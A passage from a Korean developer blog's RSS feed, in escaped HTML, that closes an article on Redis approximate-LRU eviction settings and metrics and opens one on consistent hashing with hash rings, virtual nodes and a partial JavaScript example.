샘플:       C D E   G H

idle time
C 8s · D 56s · E 62s · G 47s · H 73s
→ 샘플 중 H 제거&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;전체에서 실제로 가장 오래 사용하지 않은 키가 B(91초)여도 B가 샘플에 포함되지 않으면 H가 제거될 수 있습니다. 이것이 근사 LRU입니다.&lt;/p&gt;
&lt;p&gt;Redis 3.0 이후에는 좋은 퇴거 후보를 모아두는 eviction pool도 사용해 이전 버전보다 정확도를 높였습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;핵심 설정&lt;/h2&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;conf&quot;&gt;&lt;pre class=&quot;language-conf&quot;&gt;&lt;code class=&quot;language-conf&quot;&gt;maxmemory 2gb
maxmemory-policy allkeys-lru
maxmemory-samples 5&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;maxmemory&lt;/h3&gt;
&lt;p&gt;캐시 데이터에 사용할 메모리 한도입니다. 새 데이터 추가로 한도를 넘으면 선택한 정책에 따라 키를 제거합니다.&lt;/p&gt;
&lt;h3&gt;maxmemory-policy&lt;/h3&gt;
&lt;p&gt;대표 정책은 다음과 같습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;정책&lt;/th&gt;
&lt;th&gt;동작&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;noeviction&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;새 쓰기를 오류로 거부&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;allkeys-lru&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;모든 키 중 근사 LRU&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;volatile-lru&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;TTL이 있는 키 중 근사 LRU&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;allkeys-lfu&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;사용 빈도가 낮은 키 제거&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;allkeys-random&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;무작위 키 제거&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;순수 캐시라면 모든 키를 퇴거 대상으로 삼는 &lt;code class=&quot;language-text&quot;&gt;allkeys-*&lt;/code&gt; 계열이 보통 자연스럽습니다. 영구 데이터와 캐시 데이터를 같은 Redis에 섞어 놓고 &lt;code class=&quot;language-text&quot;&gt;volatile-*&lt;/code&gt;에 의존하면 TTL 누락 키가 퇴거되지 않는 운영 문제가 생길 수 있습니다.&lt;/p&gt;
&lt;h3&gt;maxmemory-samples&lt;/h3&gt;
&lt;p&gt;한 번의 선택에서 살펴볼 후보 수입니다. 값을 높이면 정확한 LRU에 가까워질 가능성이 커지지만 검사 비용도 늘어납니다. 기본값을 무작정 올리기보다 hit ratio와 latency를 함께 측정해야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;LRU와 LFU 중 무엇을 선택할까&lt;/h2&gt;
&lt;p&gt;LRU는 &lt;strong&gt;최근에 사용했는가&lt;/strong&gt;, LFU는 &lt;strong&gt;얼마나 자주 사용했는가&lt;/strong&gt;를 봅니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;LRU: 최근 트래픽 변화에 빠르게 반응
LFU: 반복적으로 인기 있는 키를 오래 유지&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;특정 키가 짧은 시간에 한 번씩 순회되는 workload에서는 LRU가 인기 키를 밀어낼 수 있습니다. 반대로 유행이 빠르게 바뀌는 서비스에서 LFU의 빈도 이력이 너무 오래 남으면 새 인기 키 적응이 느릴 수 있습니다. Redis LFU는 확률적 카운터와 decay를 사용해 이 문제를 완화합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;운영에서 확인할 지표&lt;/h2&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;redis-cli INFO stats
redis-cli INFO memory&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;다음 항목을 함께 봅니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;evicted_keys&lt;/code&gt;: 메모리 압력으로 제거된 키 수&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;keyspace_hits&lt;/code&gt;: 캐시 적중 횟수&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;keyspace_misses&lt;/code&gt;: 캐시 미스 횟수&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;used_memory&lt;/code&gt;: Redis가 인식하는 사용 메모리&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;used_memory_rss&lt;/code&gt;: 운영체제에서 본 실제 메모리&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;hit_ratio = hits / (hits + misses)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;퇴거량이 급증하면서 hit ratio가 떨어지고 원본 DB latency가 상승한다면 캐시 크기, 정책, TTL, 키 크기를 함께 점검해야 합니다. 퇴거 자체는 장애가 아니지만, cache churn이 원본 시스템을 압박하면 장애로 번질 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 발생하는 실수&lt;/h2&gt;
&lt;h3&gt;Redis를 원본 저장소로 쓰면서 퇴거 정책을 켠다&lt;/h3&gt;
&lt;p&gt;퇴거는 데이터를 삭제합니다. 다시 만들 수 없는 원본 데이터와 캐시 데이터를 같은 인스턴스에서 관리하면 안 됩니다.&lt;/p&gt;
&lt;h3&gt;TTL과 LRU를 같은 의미로 본다&lt;/h3&gt;
&lt;p&gt;TTL은 데이터의 유효기간이고 LRU는 메모리 압력 시 제거 우선순위입니다. TTL이 남아 있어도 LRU로 제거될 수 있고, TTL이 없어도 &lt;code class=&quot;language-text&quot;&gt;allkeys-lru&lt;/code&gt;의 대상이 됩니다.&lt;/p&gt;
&lt;h3&gt;평균 hit ratio만 본다&lt;/h3&gt;
&lt;p&gt;전체 평균이 높아도 특정 테넌트나 엔드포인트에서 thrashing이 발생할 수 있습니다. 서비스·키 공간·시간대별로 나눠 봐야 합니다.&lt;/p&gt;
&lt;h3&gt;큰 키 하나가 만드는 순간 메모리를 무시한다&lt;/h3&gt;
&lt;p&gt;큰 명령 하나가 일시적으로 &lt;code class=&quot;language-text&quot;&gt;maxmemory&lt;/code&gt;를 크게 초과할 수 있습니다. large key와 batch write도 별도로 감시해야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리&lt;/h2&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;정확한 LRU → 전체 사용 순서를 정확히 유지
Redis LRU → 일부 후보를 샘플링해 근사&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Redis가 근사 방식을 택한 이유는 정확한 한 개의 희생자를 찾는 비용보다, &lt;strong&gt;충분히 오래 사용하지 않은 키를 싸게 찾는 것&lt;/strong&gt;이 대규모 캐시에서 더 실용적이기 때문입니다.&lt;/p&gt;
&lt;h2&gt;자주 묻는 질문&lt;/h2&gt;
&lt;h3&gt;Redis에서 LRU가 기본 정책인가요?&lt;/h3&gt;
&lt;p&gt;환경과 배포 형태에 따라 기본값을 확인해야 합니다. Redis Open Source의 기본 &lt;code class=&quot;language-text&quot;&gt;maxmemory-policy&lt;/code&gt;는 보통 &lt;code class=&quot;language-text&quot;&gt;noeviction&lt;/code&gt;이므로 캐시로 사용할 때 명시적으로 설정하는 편이 안전합니다.&lt;/p&gt;
&lt;h3&gt;&lt;code class=&quot;language-text&quot;&gt;volatile-lru&lt;/code&gt;와 &lt;code class=&quot;language-text&quot;&gt;allkeys-lru&lt;/code&gt;의 차이는 무엇인가요?&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;volatile-lru&lt;/code&gt;는 TTL이 설정된 키만 후보로 삼고, &lt;code class=&quot;language-text&quot;&gt;allkeys-lru&lt;/code&gt;는 모든 키를 후보로 삼습니다.&lt;/p&gt;
&lt;h3&gt;sample 수를 높이면 무조건 좋은가요?&lt;/h3&gt;
&lt;p&gt;정확도는 개선될 수 있지만 후보 검사 비용이 늘어납니다. 실제 hit ratio와 tail latency를 측정해 결정해야 합니다.&lt;/p&gt;
&lt;h3&gt;LRU가 캐시 스탬피드를 막아주나요?&lt;/h3&gt;
&lt;p&gt;아닙니다. LRU는 메모리 부족 시 무엇을 제거할지 결정합니다. 동일 키가 동시에 만료돼 원본으로 몰리는 캐시 스탬피드는 락, 요청 병합, TTL jitter 같은 별도 대책이 필요합니다.&lt;/p&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://redis.io/docs/latest/develop/reference/eviction/&quot;&gt;Redis — Key eviction&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://redis.io/docs/latest/operate/oss_and_stack/management/config/&quot;&gt;Redis — Configuration, using Redis as a cache&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/cache-stampede/&quot;&gt;캐시 스탬피드란?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[일관된 해싱이란? 서버 추가 시 캐시 키 이동을 최소화하는 방법]]></title><description><![CDATA[…]]></description><link>https://blog.javapark.kr/consistent-hashing/</link><guid isPermaLink="false">https://blog.javapark.kr/consistent-hashing/</guid><pubDate>Fri, 04 Sep 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/6fba9581e9ebfd94f5bfd9d8d8d516a4/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAByElEQVR42l2RW2vbQBCFZWnvV0kraXWxI8eO2zi12ip2X9LEBD8Y2kALJSSP/f//oiOJQAkcBi2rb3bmnICTqIj5Itd1KqEWlguKBIn4m8QoSSNBI0WR4UgzJCmCq4DhcFOqfuU+XyT7tWsdnwUBx8OvE+wEziVOOKo0aSx1AnmJC4mhS8ApOuz70+Ox67rDYf/zx/nP76fY2igMxNgeyFygbS7uluZ+FW9zDmSpSa5JAPM8f//46+7672n7cv/h9bF7Pt2+fKuvPcMohDkti/pSP7RZLoc3b7zYeeBRHdOh/XGT7C/M084dN/HtQm5Lcf6UwRZaUI7DSrPzVbO0IhMRTJ5z1C3dstDzCS6zBOQSA0qtbrxLY+NTm1lJ0GyVqodlvU5UY0itcQErrKtVk7YJCWArimYUheAcHwXHsQ6SLHIc3Xj2pdKtESmPNo71tSwVvszYAA/ZTJqCeTtOboNhXuFdKfq56uf6ay0ahSuN23SE4c1RwwcnIf8vZBCYtI7lXJGrOt8uqlxR79Pa0sEwuNacWEmnqhh+B0PCXpFSkSoWTSJq2DxmlYGo8ADHijkjpgotYIR3PMhw7CQCoDAkUzhV2HL0DwaaK57xdRdkAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/6fba9581e9ebfd94f5bfd9d8d8d516a4/a1b3b/thumbnail.webp 215w,
/static/6fba9581e9ebfd94f5bfd9d8d8d516a4/fc700/thumbnail.webp 430w,
/static/6fba9581e9ebfd94f5bfd9d8d8d516a4/521f7/thumbnail.webp 860w,
/static/6fba9581e9ebfd94f5bfd9d8d8d516a4/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/6fba9581e9ebfd94f5bfd9d8d8d516a4/f7886/thumbnail.png 215w,
/static/6fba9581e9ebfd94f5bfd9d8d8d516a4/bc750/thumbnail.png 430w,
/static/6fba9581e9ebfd94f5bfd9d8d8d516a4/3e3fe/thumbnail.png 860w,
/static/6fba9581e9ebfd94f5bfd9d8d8d516a4/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/6fba9581e9ebfd94f5bfd9d8d8d516a4/3e3fe/thumbnail.png&apos; alt=&apos;서버 추가 시 모듈러 해싱과 Hash Ring의 키 재배치량을 비교한 그림&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;서버 추가 시 모듈러 해싱과 Hash Ring의 키 재배치량을 비교한 그림&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요. &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;분산 캐시에 서버가 세 대 있다고 가정해 보겠습니다. 가장 단순한 배치식은 다음과 같습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;server = hash(key) % 3&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 방식은 빠르고 이해하기 쉽습니다. 하지만 네 번째 서버를 추가하는 순간 식이 &lt;code class=&quot;language-text&quot;&gt;% 4&lt;/code&gt;로 바뀝니다. 같은 키의 해시값은 그대로인데 나누는 수가 달라져 기존 키 대부분의 목적지가 달라질 수 있습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;일관된 해싱의 목적은 데이터를 완벽히 균등하게 나누는 것이 아니라, 노드가 바뀌어도 배치를 덜 흔들리게 만드는 것입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;서버 한 대를 추가했을 때 키가 얼마나 움직이는지를 &lt;strong&gt;1분 영상&lt;/strong&gt;으로도 정리했습니다. 단순 나머지 연산과 해시 링을 같은 화면에 놓고 재배치 수를 나란히 셉니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/Xyz4YnlVLjU&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 106.51162790697674%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAIAAADJt1n/AAAACXBIWXMAAAAAAAAAAAHqZRakAAADPklEQVR42l1U247jRBC13b53t299tx3bSWwnk5kkk7A7jAZ2tMtlBFoheICV4I1Hnvj/N8qOBjZIR1a3VafqVNfptqo86E1WM7yt2GiybVWUMdKRral3gYodgCbeBTx2AIoiQZFVpcHLnfp4J9Yq6ThdcmL2t/p8kkAjSBK0Gg/rzb0knsAu4H0zfF0vFXEBVkm9HzbJ72euCWKhLahXPj+X37/oPFLE1qm/e/sdwOSxxI6h/q/btz+Pp4qGE1kRr+fhmoWSuDpxNRB0pkumsK0SVxK7ZMlCC1iAVEmdkaVdRkWMDPWsMvHfLAh8JXEgWsWWNqxaliqypi2FILTs1iABAqrU+7ISHDsKe6DCgoJjQR9qwTAc0hQNnKdaQRzU0RS9a42Zs4CuAltHnR9UzjGayFXiZ6H1UIomCwSZop8W2iTARJALog86O+gcFrCFn3CED7WERBBjVZk/lFlvUjmfLQBSqGvIGfDfUHfL6YYT+ALfqnO/17RXBHRWqVunbpN7Xe43mbeYcdm2ub/IYe0PPF6zqGeRST2rKYKVCNcy7hUeNb4xpBcRRN+Z6NOZ/7IvBhGuCn/FAkBXTCnq3KsygG+1LLxtxa7lIH7XsG1dDApvpPfFIv7rK/3no7xR4Y0KygRJPDWlLqAI+DAql2NbYHvqKrabDB1M8NwpQ7z7KhpFMPDgsSN7E0JH0yxeAW2CPT2YjZ6HUSXuY5ssWdgkfjONClyBOtCZoI0MTjWW1L0il6k7TwXB6FvmnEt6VDnDFngDRJWT5yad5zo+G79LHIGdK/LFd3Ua/rTtN5xCF+VsrP+QIB5aw1qPpxswv6LO52QXSp1N+ffDt3/cHsHe5poMldc5enx5Gj79pk0BFoZOrypXSfBxs1oVBPT/r/J0qJG16uR4HMVr22Xqf9YzcdoCnZv4WMV5ZL/S0MVb5wU+VWGb2P/2PJNnG1/2cAHeNHiRu23hg9tgfjy2wRhQYOD+fR0L8jqqBIJ9OFVfTNOfXxbigIH2ZfS0opo6d4tirWjPPZjzzkSQeioDkdOVnG8V3OmGkZZjNYsHfpW5W+nvm/z9Nz8+v/uw08EoQz3rV2AKeCoMU5oZjP4BDdBgfYrkeo8AAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/ff86d066f65fe0170da14cd1f345d7d6/a1b3b/video-thumb.webp 215w,
/static/ff86d066f65fe0170da14cd1f345d7d6/fc700/video-thumb.webp 430w,
/static/ff86d066f65fe0170da14cd1f345d7d6/521f7/video-thumb.webp 860w,
/static/ff86d066f65fe0170da14cd1f345d7d6/d0742/video-thumb.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/ff86d066f65fe0170da14cd1f345d7d6/f7886/video-thumb.png 215w,
/static/ff86d066f65fe0170da14cd1f345d7d6/bc750/video-thumb.png 430w,
/static/ff86d066f65fe0170da14cd1f345d7d6/3e3fe/video-thumb.png 860w,
/static/ff86d066f65fe0170da14cd1f345d7d6/e7448/video-thumb.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/ff86d066f65fe0170da14cd1f345d7d6/3e3fe/video-thumb.png&apos; alt=&apos;일관된 해싱 영상 — 서버 추가 시 재배치가 12개 중 9개에서 3개로 줄어드는 비교&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;일관된 해싱 영상 — 서버 추가 시 재배치가 12개 중 9개에서 3개로 줄어드는 비교&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 모듈러 해싱은 크게 흔들릴까&lt;/h2&gt;
&lt;p&gt;예제 해시값 &lt;code class=&quot;language-text&quot;&gt;0~11&lt;/code&gt;을 서버 세 대에 배치해 보겠습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;hash % 3
A: 0, 3, 6, 9
B: 1, 4, 7, 10
C: 2, 5, 8, 11&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;서버 D를 추가해 &lt;code class=&quot;language-text&quot;&gt;% 4&lt;/code&gt;로 바꾸면 결과는 다음과 같습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;hash % 4
A: 0, 4, 8
B: 1, 5, 9
C: 2, 6, 10
D: 3, 7, 11&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 작은 예제에서는 12개 중 9개의 목적지가 바뀝니다. 캐시라면 대량의 cache miss가 발생하고, 샤드라면 데이터 이동과 네트워크 트래픽이 한꺼번에 늘어납니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Hash Ring은 어떻게 이동 범위를 줄일까&lt;/h2&gt;
&lt;p&gt;일관된 해싱은 해시 공간을 원형으로 연결합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;0 ─────────────── MAX_HASH
└────── 다시 0으로 연결 ──────┘&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;서버와 키를 모두 같은 링 위에 해싱하고, 키 위치에서 시계 방향으로 처음 만나는 서버를 소유자로 정합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;hash(key) → 링 위 위치 → 시계 방향 첫 서버&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;새 서버 D가 B와 C 사이에 들어오면 D가 새로 담당하는 구간의 키만 C에서 D로 이동합니다. 다른 구간의 소유 관계는 그대로 남습니다. Cassandra 공식 문서도 단순 해싱은 노드 추가 시 거의 모든 매핑을 무효화할 수 있지만, 일관된 해싱은 작은 일부만 옮긴다고 설명합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실전에서는 Virtual Node가 필요하다&lt;/h2&gt;
&lt;p&gt;물리 서버 한 대를 링의 한 지점에만 놓으면 구간 크기가 고르지 않을 수 있습니다. 큰 구간을 맡은 서버에 데이터와 요청이 몰립니다.&lt;/p&gt;
&lt;p&gt;가상 노드(vnode)는 물리 서버 하나를 링의 여러 위치에 배치합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;physical A → A1, A2, A3, A4
physical B → B1, B2, B3, B4&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;서버를 추가하면 여러 작은 구간을 기존 서버들로부터 나눠 받으므로 부하 편차가 줄어듭니다. 다만 vnode 수가 늘면 링 메타데이터와 재조정 단위도 늘어납니다. 무조건 많게 잡기보다 데이터 크기, 노드 수, 장애 복구 시간을 함께 측정해야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;간단한 JavaScript 구현&lt;/h2&gt;
&lt;p&gt;아래 코드는 원리를 보여주는 최소 예제입니다. 실제 시스템에서는 균일한 해시 함수, 정렬된 자료구조, 복제 정책이 추가로 필요합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;HashRing&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token function&quot;&gt;constructor&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;points &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token function&quot;&gt;addNode&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;node&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; virtualNodes &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;64&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; virtualNodes&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;points&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;hash&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;hash&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;node&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;i&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; node &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;points&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sort&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;a&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; b&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; a&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;hash &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; b&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;hash&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

